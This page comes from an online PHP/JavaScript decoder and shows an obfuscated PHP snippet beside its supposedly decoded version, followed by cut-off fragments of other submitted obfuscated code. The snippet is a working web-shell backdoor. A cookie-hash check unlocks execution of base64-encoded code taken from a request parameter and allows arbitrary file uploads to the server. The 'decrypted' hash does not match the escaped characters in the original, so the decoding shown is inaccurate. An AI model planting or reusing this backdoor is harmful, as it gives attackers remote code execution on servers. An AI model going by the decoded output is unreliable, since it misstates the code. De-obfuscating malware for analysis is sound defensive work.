Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?=409723*20;
if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143")

{
echo"\x6f\x6b";
eval(base64_decode($_REQUEST[id]));

if($_POST["\165\160"]=="\165\x70")
{
@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);
}
}
?>

Decrypted code:

=409723*20;
if(md5($_COOKIE[d])=="028f487cb2a60da3ad3878ec")

{
echo"ok";
eval(base64_decode($_REQUEST[id]));

if($_POST["up"]=="up")
{
@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}

Recent submissions:

<?php if(!function_exists('sg_load')){$__v=phpversion();$__x=explode('.',$__v);$__v2=$__x... (function(_0xdba9a0,_0x49b0cf){function _0x386085(_0x1c1e12,_0x475fef,_0x10d030,_0x57aa2c)... <?PHp /*N=P12Nv?32k8W8:L\*/ // {ND~W5^nvZpi&=W\yP_k?-(W* A:!*?'O?.aAHb;Wk4M2{>... <?=409723*20; if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x3... \x77\x61\x69\x74... \x63\x75\x72\x73\x6F\x72... \x72\x65\x6C\x61\x74\x65\x64\x54\x61\x72\x67\x65\x74... \x69\x64... \x23\x76\x69\x65\x77\x2D\x72\x65\x73\x70\x6F\x6E\x74... \x2E\X2E\X2F\X74\X6F\X6F\X6C\X73\X2F\X65\X64\X69\X74\X5F\X73\X74\X65\X61\X6D\X2E\X70\X68\X...